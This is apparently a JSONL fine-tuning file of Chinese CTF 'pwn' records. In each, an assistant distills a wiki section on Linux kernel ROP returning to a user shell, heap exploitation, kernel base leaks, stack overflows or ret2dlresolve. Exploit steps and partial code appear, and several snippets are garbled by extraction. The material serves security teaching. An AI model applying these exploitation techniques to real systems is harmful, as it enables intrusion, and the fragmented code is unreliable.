{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fb0d1ac6d3d4cf133d24", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「返回用户态」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > 返回用户态\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 通常来说，我们应当构造如下rop链以返回用户态并获得一个shell： `` ↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss ` 需要注意的是，在返回用户态执行 system() 函数时同样有可能遇到栈不平衡导致函数执行失败并最终 Segmentation Fault 的问题，因此在本地调试时若遇到此类问题，则可以将 user_sp 的值加减 8` 以进行调整。\n- 由内核态返回用户态只需要： - swapgs 指令恢复用户态GS寄存器 - sysretq 或者 iretq 恢复到用户空间 那么我们只需要在内核中找到相应的gadget并执行 swapgs;\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n代码/命令片段线索：\n- plain: 7 行，首行 `↓ swapgs`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 386, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "返回用户态", "heading_path": ["Kernel ROP", "返回用户态"], "original_id": "docs-ef5daf21ca0618892b36", "original_line": 822, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "2bebddaafe09904f08e00409", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fb17598b0609a51413b4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Reference\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- 【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF\n- http://www.freebuf.com/articles/system/54263.html\n- https://blog.csdn.net/zqixiao_09/article/details/50839042\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 589, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["基础知识", "Reference"], "original_id": "docs-3c5b6ce1f74b1debafa8", "original_line": 656, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "ea02c503f15a663bc19ce0d9", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fb75747bdef7897a0587", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > REFERENCE\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- IBM Archived | Linux virtualization and PCI passthrough 【原创】Linux虚拟化KVM-Qemu分析（十）之virtio驱动 【原创】Linux虚拟化KVM-Qemu分析（十一）之virtqueue virtio: towards a de-facto standard for virtual I/O devices 知乎 - IOMMU DMA 重映射 《系统虚拟化——原理与实现》——Intel 开源软件技术中心 A Tour Beyond BIOS:...\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 706, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["IO 虚拟化", "REFERENCE"], "original_id": "docs-dc9bd9d9dcdf9f56d742", "original_line": 1416, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "676bb13879be1ebe290cc0c7", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "io-virtualization.md"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fba285a72a96b74fc5ef", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/introduction.md` 中的章节「堆利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/introduction.md`\n标题：堆利用\n章节：堆利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“堆利用”展开。\n- 在该章节中，我们会按照如下的步骤进行介绍 1. 介绍我们所熟知的动态内存分配的堆的宏观操作 2. 介绍为了达到这些操作所使用的数据结构 3. 介绍利用这些数据结构实现堆的分配与回收的具体操作 4. 由浅入深地介绍堆的各种利用技巧。\n- 如果后续有时间，会继续介绍其它堆的实现及其利用。\n- 对于不同的应用来说，由于内存的需求各不相同等特性，因此目前堆的实现有很多种，具体如下 ``text dlmalloc – General purpose allocator ptmalloc2 – glibc jemalloc – FreeBSD and Firefox tcmalloc – Google libumem – Solaris `` 这里我们主要以 glibc 中堆的实现为主进行介绍。\n- black hat heap exploitation - github heap exploition - sploitfun - glibc 源码 - 更多的参考文献请看ref目录下的文件\n- 该部分主要参考的资料如下，文中有很多内容会和参考资料中一致，以后就不一一说明了。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:text\n\n代码/命令片段线索：\n- text: 5 行，首行 `dlmalloc – General purpose allocator`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 678, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "堆利用", "heading_path": ["堆利用"], "original_id": "docs-7d52df8f8902facfeec3", "original_line": 1002, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/introduction.md", "source_root": "docs", "source_sha256": "401e881e03ec7fc69b328adcb7b277ad73e2e9e4b3d4724c19c1c79c53989655", "split": "train", "split_group_key": "1c8e70b205ec9b88d1661a72", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:text"], "title": "堆利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fba7b93419726acee609", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md` 中的章节「kptr_restrict」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/access-control/information-disclosure.md`\n标题：信息泄漏\n章节：信息泄漏 > kptr_restrict\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“kptr_restrict”展开。\n- ` 当开启该保护后，攻击者就不能通过 /proc/kallsyms` 来获取内核中某些敏感的地址了，如 commit_creds、prepare_kernel_cred。\n- Consider removing world read permissions from files that use %pK, and using dmesg_restrict to protect against uses of %pK in dmesg(8) if leaking kernel pointer values to unprivileged users is a concern.\n- `` kptr_restrict: This toggle indicates whether restrictions are placed on exposing kernel addresses via /proc and other interfaces.\n- The correct long-term solution is to do the permission checks at open() time.\n- When kptr_restrict is set to (2), kernel pointers printed using %pK will be replaced with 0's regardless of privileges.\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- defense\n\n代码/命令片段线索：\n- plain: 18 行，首行 `kptr_restrict:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1443, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "kptr_restrict", "heading_path": ["信息泄漏", "kptr_restrict"], "original_id": "docs-b88101c5afec2f1adf99", "original_line": 671, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/access-control/information-disclosure.md", "source_root": "docs", "source_sha256": "39d0ff77e364290136f1c8c3bcf4e0419e8c5b50edeb1d6388c6d7b1ac928645", "split": "train", "split_group_key": "1042bd8f943cd75cc5b4b617", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "defense"], "title": "信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/access-control/information-disclosure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fbbbaa2638a3d82f5ffe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- ``shell ➜ 2015-CSAW-contacts git:(master) ✗ checksec contacts Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) `` 可以看出程序不仅开启了 NX 保护还开启了 Canary。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ 2015-CSAW-contacts git:(master) ✗ checksec contacts`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 203, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["例子", "堆上的格式化字符串漏洞", "例子", "确定保护"], "original_id": "docs-18b2d55ec4348dcc03e8", "original_line": 870, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1f556d44470a877ca9040d2f", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fc127100169e4bb08845", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本示例3：对free的smallbin进行extend」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > 基本示例3：对free的smallbin进行extend\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例3：对free的smallbin进行extend”展开。\n- `` int main() { void ptr,ptr1;\n- 示例3是在示例2的基础上进行的，这次我们先释放 chunk1，然后再修改处于 unsorted bin 中的 chunk1 的size域。\n- //首先进行释放，使得chunk1进入unsorted bin (int )((int)ptr-0x8)=0xb1;\n- //分配第一个0x80的chunk1 malloc(0x10);\n- //分配第二个0x10的chunk2 free(ptr);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 9 行，首行 `int main()`\n- plain: 12 行，首行 `0x602000: 0x0000000000000000 0x0000000000000091 <=== chunk 1`\n- plain: 14 行，首行 `unsorted_bins[0]: fw=0x602000, bk=0x602000`\n- plain: 12 行，首行 `0x602000: 0x0000000000000000 0x00000000000000b1 <=== size域被篡改`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2335, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本示例3：对free的smallbin进行extend", "heading_path": ["Chunk Extend and Overlapping", "基本示例3：对free的smallbin进行extend"], "original_id": "docs-268c2c4a99362f9bb7ad", "original_line": 904, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "6ef42fdf199162e26a1de285", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fc3f528a72f37c63fb98", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「Step.II - 泄露内核基地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > 漏洞利用 > Step.II - 泄露内核基地址\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.II - 泄露内核基地址”展开。\n- 接下来我们考虑如何泄露内核基址，虽然题目新建的 kmem_cache 会默认与 kmalloc-192 合并，但为了还原出题人原始意图，我们还是将其当作一个独立的 kmem_cache 来完成利用。\n- 在内核“堆基址”（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去猜测堆的基址，之后分配到一个 堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。\n- 若是没有猜中，笔者认为直接重试即可，但这里需要注意的是我们不能够直接退出，而应当保留原进程的文件描述符打开，否则会在退出进程时触发 slub 的 double free 检测，不过经笔者测验大部分情况下都能够猜中堆基址。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 411, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Step.II - 泄露内核基地址", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "漏洞利用", "Step.II - 泄露内核基地址"], "original_id": "docs-c256fe23923e863cea19", "original_line": 758, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "f7e35c299f30c9714273f449", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fcb54fde3f3c43f3d295", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「调试相关选项」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 配置编译选项 > 调试相关选项\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“调试相关选项”展开。\n- 如果要使用 kgdb 调试内核，则需要选中 KGDB: kernel debugger，并选中 KGDB 下的所有选项。\n- 这里我们主要关注调试方面的选项，依次进入到 Kernel hacking -> Compile-time checks and compiler options，然后勾选如下选项 Compile the kernel with debug info ，以便于调试。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "调试相关选项", "heading_path": ["内核源码下载与编译", "配置编译选项", "调试相关选项"], "original_id": "docs-295d58c30f170356dc3c", "original_line": 702, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "ceea372d0cd1d029194aa416", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fd0a399a7974eac53ef1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/user-mode/stackoverflow/stackoverflow-basic.md` 中的章节「基本示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/user-mode/stackoverflow/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 基本示例\n路径分类：pwn / pwn/windows/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例”展开。\n- 那么 buffer 的大小是 8 字节，如果我们输入 8 个 a 的话，最后的字符串结束符会溢出到 0012FEA0 这个位置把原来的值覆盖为 0，这样我们就可以改变程序的执行流程，输出 Congratulation!\n- } } } ` 这是一个简单的密码校验程序，会判断输入的字符串是否和666666相等。\n- 可以看到 GS 是开启的，但这并不妨碍我们的溢出。\n- 下面给出一个典型例子，在这个例子中由于变量声明的顺序和 buffer 声明的大小导致存在最后一字节的溢出。\n- } void main() { int valid_flag =0;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 密码学\n- AI安全\n- pwn\n- windows\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 31 行，首行 `#include `\n- plain: 14 行，首行 `C:\\Users\\CarlStar\\Desktop>winchecksec.exe demo1.exe`\n- plain: 5 行，首行 `0012FE90 CCCCCCCC`\n- plain: 5 行，首行 `0012FE90 CCCCCCCC`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2101, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本示例", "heading_path": ["栈溢出原理", "基本示例"], "original_id": "docs-6187ca0c8c414531af7b", "original_line": 1469, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/stackoverflow-basic.md", "source_root": "docs", "source_sha256": "da03dfdc55ef904e6d134fc5555cae971e04bfa5d7da6fde841bfddc35806256", "split": "train", "split_group_key": "629e0bd0be827e78ee306dc2", "subcategory": "pwn/windows/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "密码学", "AI安全", "pwn", "windows", "user-mode", "stackoverflow", "code:c"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/user-mode/stackoverflow/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fd80ab4ef28c02597f88", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「rop.raw('a'*(256-len(rop.chain())))」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：rop.raw('a'*(256-len(rop.chain())))\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“rop.raw('a'*(256-len(rop.chain())))”展开。\n- io.send(rop.chain()) io.interactive() `` 这时，再次尝试一下，发现 `assembly ► 0x7f5a187703ec  call execve  path: 0x7f5a188d50fa ◂— 0x68732f6e69622f / '/bin/sh' / argv: 0x7fff68270410 —▸ 0x7f5a188d50ff ◂— 0x2074697865006873 / 'sh' / envp: 0x7fff6...\n- 那就好办了，我们只需要把所有的 pad 都替换为 \\x00 即可。\n- ``python from pwn import *\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `这时，再次尝试一下，发现`\n- plain: 1 行，首行 `这时候 envp 被污染的数据就只有 0x61 了，即我们填充的数据 'a'。那就好办了，我们只需要把所有的 pad 都替换为 `\\x00` 即可。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 408, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "rop.raw('a'*(256-len(rop.chain())))", "heading_path": ["rop.raw('a'*(256-len(rop.chain())))"], "original_id": "docs-e57882d07233c327875d", "original_line": 1360, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "e0a3b6ee3eb42fe0312b4e81", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
